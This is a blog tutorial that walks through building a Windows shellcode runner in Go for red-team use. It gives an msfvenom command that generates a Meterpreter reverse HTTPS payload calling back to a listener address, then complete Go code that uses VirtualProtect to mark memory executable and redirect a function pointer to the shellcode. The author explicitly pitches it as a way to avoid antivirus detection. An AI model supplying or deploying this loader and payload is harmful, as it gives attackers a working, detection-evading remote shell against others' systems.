There are a plethora of reasons as to why you may want to have a custom written shellcode runner, Whether that be to Avoid Detection or Aid in Portability there are also a plethora of ways and languages to write one in from C all the way down to PowerShell.

Today i’m going to show you how to use native Golang functions to use the Windows API to execute a Meterpreter Shell.

As a bonus this will greatly reduce the detection footprint of our meterpreter and aid in our Red activities.

Generating our ShellCode

Before we proceed we need some shellcode to work with. We will use msfvenom to generate a meterpreter for windows and decode it into a variable in our go application.

$ msfvenom -p windows/meterpreter/reverse_https -f hex LHOST=192.168.0.244 LPORT=4444
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 473 bytes
Final size of hex file: 946 bytes
fc4883e4f0e8c0000000415141505251...

Now we have our shellcode as a series of hexadecimal values we can use golang’s encoding/hex package to decode the string.

Once have done that we can create an empty function and call it.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
package main

import (
	"encoding/hex"
	"fmt"
)

func main() {

	sc, err := hex.DecodeString("fc4883e4f0e8c000000041...")
	if err != nil {
		fmt.Println(err)
	}
	
	f := func() {}

	f()

}

The VirtualProtect API

All of the heavy of our ShellCode runner is handled by the Microsoft Windows VirtualProtect API.

This API allows us to change the protection on memory locations within our own process as opposed to VirtualProtectEx which does the same for other processes.

Calling the VirtualProtect API from Golang

Usually to call any of the Windows APIs we need to import a DLL and as you may know that can be a massive pain depending on language choice. Luckily for us golang allows us to load a DLL using the NewLazyDLL().NewProc() method.

We need to load the VirtualProtect method from the kernel32.dll DLL, We do this by asigning the NewLazyDLL(“kernel32.dll”).NewProc(“VirtualProtect”) call and create our function definition in golang to match the API.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32

package main

import (
	"encoding/hex"
	"fmt"
	"syscall"
	"unsafe"
)

var procVirtualProtect = syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualProtect")

func VirtualProtect(lpAddress unsafe.Pointer, dwSize uintptr, flNewProtect uint32, lpflOldProtect unsafe.Pointer) bool {
	ret, _, _ := procVirtualProtect.Call(
		uintptr(lpAddress),
		uintptr(dwSize),
		uintptr(flNewProtect),
		uintptr(lpflOldProtect))
	return ret > 0
}

func main() {

  sc, err := hex.DecodeString("fc4883e4f0e8c000000041")
  if err != nil {
		fmt.Println(err)
	}

	f := func() {}

	f()
}

Since golang doesn’t really have the types defined by Microsoft we replace HANDLE and PDWORD with unsafe.Pointer and the other params are uintptr and uint32 respectively.

Playing with memory permissions

Here’s where things can get difficult, in order to execute our shellcode we need to redirect our f() function to point to our shellcode. Before we do that however, we need to use VirtualProtect to give us full access to the memory location by setting 0x40 as our permissions (I’ve commented the code to explain this).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
package main

import (
	"encoding/hex"
	"fmt"
	"syscall"
	"unsafe"
)

var procVirtualProtect = syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualProtect")

func VirtualProtect(lpAddress unsafe.Pointer, dwSize uintptr, flNewProtect uint32, lpflOldProtect unsafe.Pointer) bool {
	ret, _, _ := procVirtualProtect.Call(
		uintptr(lpAddress),
		uintptr(dwSize),
		uintptr(flNewProtect),
		uintptr(lpflOldProtect))
	return ret > 0
}

func main() {

  sc, err := hex.DecodeString("fc4883e4f0e8c000000041")
  if err != nil {
	  fmt.Println(err)
  }

  f := func() {}

  var oldfperms uint32
  if !VirtualProtect(
    unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&f))), // The pointer to our f() function (lpAddress)
    unsafe.Sizeof(uintptr(0)),                        // The size of the access protection attributes to be changed (dwSize)
    uint32(0x40),                                     // Our new memory access permission 0x40 FULL ACCESS
    unsafe.Pointer(&oldfperms)) {                     // Store our old permissions in the oldfperms var
    panic("Call to VirtualProtect failed!")
  }

  f()
}

EXECUTE, EXECUTE, EXECUTE!

Who remember eggsecute?

Who remember eggsecute?

Who remember eggsecute?

Now we have over-written our permissions on the f() method we can overwrite the method. Doing so will mean that f() will point directly to our memory location.

To do this we need to assign a uintptr pointer(*) of the shellcode variable to the uintptr pointer pointer(**) of the f() method.

Once we have a assigned the shellcode to f() we need to use VirtualProtect() again to give 0x40 PAGE_EXECUTE_READWRITE to execute our shellcode.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48

package main

import (
	"encoding/hex"
	"fmt"
	"syscall"
	"unsafe"
)

var procVirtualProtect = syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualProtect")

func VirtualProtect(lpAddress unsafe.Pointer, dwSize uintptr, flNewProtect uint32, lpflOldProtect unsafe.Pointer) bool {
	ret, _, _ := procVirtualProtect.Call(
		uintptr(lpAddress),
		uintptr(dwSize),
		uintptr(flNewProtect),
		uintptr(lpflOldProtect))
	return ret > 0
}

func main() {

	sc, err := hex.DecodeString("fc4883e4f0e8c000000041")
	if err != nil {
		fmt.Println(err)
	}

	f := func() {}

	var oldfperms uint32
	if !VirtualProtect(
		unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&f))), // The pointer to our f() function (lpAddress)
		unsafe.Sizeof(uintptr(0)),                        // The size of the access protection attributes to be changed (dwSize)
		uint32(0x40),                                     // Our new memory access permission 0x40 FULL ACCESS
		unsafe.Pointer(&oldfperms)) {                     // Store our old permissions in the oldfperms var
		panic("Call to VirtualProtect failed!")
	}

	**(**uintptr)(unsafe.Pointer(&f)) = *(*uintptr)(unsafe.Pointer(&sc))

	var oldshellcodeperms uint32
	if !VirtualProtect(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(&sc))), uintptr(len(sc)), uint32(0x40), unsafe.Pointer(&oldshellcodeperms)) {
		panic("Call to VirtualProtect failed!")
	}

	f()
}

Testing

Compile the shellcode runner with the following

$ GOOS=windows go build shellrunner_win.go

this will give you a shellrunner_win.exe

Copy it to your windows machine, start a meterpreter and profit!

Execution Demo

Execution Demo

Execution Demo